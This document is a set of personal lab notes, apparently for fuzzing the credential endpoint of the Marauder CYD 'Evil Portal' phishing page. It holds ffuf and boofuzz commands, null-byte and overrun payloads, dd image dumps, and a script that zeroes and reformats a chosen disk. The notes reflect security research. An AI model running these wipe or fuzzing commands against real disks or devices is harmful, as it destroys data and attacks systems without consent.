sudo cp marauder_cyd_microsd/index.html /mnt/MARAUDLABEL/
sudo cp marauder_cyd_microsd/ap.config.txt /mnt/MARAUDLABEL/
umount:
./umount-marauder-sd
# sudo umount /mnt/MARAUDLABEL
full dump:
sudo dd if=/dev/$disk of=/home/kali/marauderexploitdev/imgs/<n>-<activity>-full-dump-$dis
k-`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=32M status=progress conv=fdatasync
partial dump:
sudo dd if=/dev/$disk of=/home/kali/marauderexploitdev/imgs/2-incremental-overrun-partial-dump-32MB-sda-`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=1M count=32 status=progress conv=fdatasync
Pi4-Ether:
byobu
cd ~/marauddev
source boofuzz/env/bin/activate
# stored note in pyenv.txt
connect to wifi:
./connect-wifi
hex chars fuzz:
python hex-chars-fuzzing.py
boofuzz fuzz:
python boofuzz-email-password.py
# web status hosted at http://10.0.0.79:26000
# results in boofuzz-results
# clean results with rm boofuzz-results/*
open previous results:
boo open --ui-addr 10.0.0.79 --ui-port 26000 boofuzz-results/XYZ.db
# opens web interface at http://10.0.0.79:26000
MarauderCYD SD:
/ap.config.txt # one line ex "Guest-Wifi"
/index.html # for default evilportal
/*.html # files for selection
MarauderCYD:
with wifi selections:
WIfI->General->Select EP HTML File->X
with one html file:
WiFi->Attacks-Evil Portal
hexdumps:
hexdump <files>
xxd --offset <hex> --len <hex> <input filename> > <output filename> # <output filename>
# todo
dump full zeroed:
sudo dd if=/dev/$disk of=/home/kali/marauderexploitdev/imgs/1-zeroed-full-dump-$disk-`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=32M status=progress conv=fdatasync
sanity check with hexdump
dump with filesystem and minimal
sudo dd if=/dev/$disk of=/home/kali/marauderexploitdev/imgs/1-filesystem-minimal-files-full-dump-$dis
k-`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=32M status=progress conv=fdatasync
sanity check with hexdump
dump after logging nominal email/passwords
ffuf -w /usr/share/wordlists/john.lst -u "http://192.168.4.1/get?email=FUZZ&password=FUZZ" -fc all -rate 4 -t 1
sudo dd if=/dev/$disk of=/home/kali/marauderexploitdev/imgs/1-logged-nominal-full-dump-$disk-`date "+%d%m%Y-%H.%M.%S-%Z"`.img bs=32M status=progress conv=fdatasync
investigate:
hd imgs/1-logged-nominal-full-dump-sda-23092024-13.19.02-UTC.img > 1-logged-nominal-f
ull-dump-sda-23092024-13.19.02-UTC.img.hex
# hd is hexdump -c, normal canonical dump with decode
resume fuzzing:
ffuf -w /usr/share/wordlists/seclists/Fuzzing/big-list-of-naughty-strings.txt -u "http://192.168.4.1/get?email=FUZZ&password=FUZZ" -fc all -rate 4 -t 3
mount
dump
reset
python hex-chars-fuzzing.py
mount
check
umount
dump
hd
reset
python boo0fuzz-email-password.py
mount
check
umount
dump
hd
reset
injections:
confirmed:
nullbyte
crlf
possible:
nullbytes(s)+some other bytes to break filesystem
incremental overrun:
Running 1489/10000 chars (X)
Prepend:
Append:
Outfile: fuzzing-results/chars-10000-23092024-12.37.24.txt
len = 1489
payload = "%00"*len
payload = "%FF"*len
Fuzzers:
prerequisites:
cd ~/marauddev
source boofuzz/env/bin/activate
./connect-wifi./
incremental buffer overrun:
python incremental-buff-overrun.py
hex chars fuzzing:
python hex-chars-fuzzing.py
boofuzz var fuzz:
python boofuzz-email-password.py
# opens web monitor on http://10.0.0.79:26000
open previous results:
boo open --ui-addr 10.0.0.79 --ui-port 26000 boofuzz-results/XYZ.db
# opens web interface at http://10.0.0.79:26000
nominal entries:
ffuf -w /usr/share/wordlists/john.lst -u "http://192.168.4.1/get?email=FUZZ&password=FUZZ" -fc all -rate 4 -t 2
# Disk reset scriptttt
#!/bin/bash
mountpoint=/mnt/MARAUDLABEL/
gb_to_zero=1
echo "WILL WIPE DISK USE WITH CARE"
echo -e "\nListing Disks"
lsblk
echo -e "\nEnter disk (e.x. sda or sdb - BE CAREFUL)"
read disk
block=/dev/$disk
echo -e "\nZeroing ${gb_to_zero}GB on Disk $block"
sudo dd if=/dev/zero of=$block status=progress bs=1M count="${gb_to_zero}K" conv=fdatasync
echo -e "\nCreating Partitions on $block"
sudo echo ',,b;' | sudo sfdisk $block
echo -e "\n\nEnter Disk (e.x. sda1 or sdb1)"
lsblk
read part
partition="/dev/${part}"
echo -e "\nMaking FAT32 Filesystem on $partition"
sudo mkfs.vfat -F 32 -n MARAUDERSD $partition
echo -e "\n$block Status:"
sudo sfdisk -l $block
echo -e "\nMounting $partition at $mountpoint"
sudo mount $partition $mountpoint
echo -e "\nCopying Minimal Files"
sudo cp marauder_cyd_microsd/index.html $mountpoint
sudo cp marauder_cyd_microsd/ap.config.txt $mountpoint
echo -e "\nListing"
ls -lah $mountpoint
echo -e "\numounting $partition from $mountpoint"
sudo umount $mountpoint
echo -e "\n\nYou May Now Use on Marauder"
# dump scripptttt
#!/bin/bash
number=2
tag=incremental-overrun-nullbyte
blocks=32
blocksize=1M
dumpsize=32M
echo -e "\nListing Disks"
lsblk
echo -e "\nEnter disk (e.x. sda or sdb - BE CAREFUL)"
read disk
block=/dev/$disk
timestamp=$(date "+%d%m%Y-%H.%M.%S-%Z")
filename="/home/kali/marauderexploitdev/imgs/${number}-${tag}-${dumpsize}-${timestamp}.img"
echo "sudo dd if=$block of=$filename bs=$blocksize count=$blocks status=progress conv=fdatasync"
ffuf -input-cmd 'dd bs=1 count=1K if=/dev/urandom' -u "http://10.0.0.80/get.php?email=FUZZ&password=FUZZ" -input-num 2000 -mc all -timeout 3 -v -ignore-body -sa -t 256 -rate 10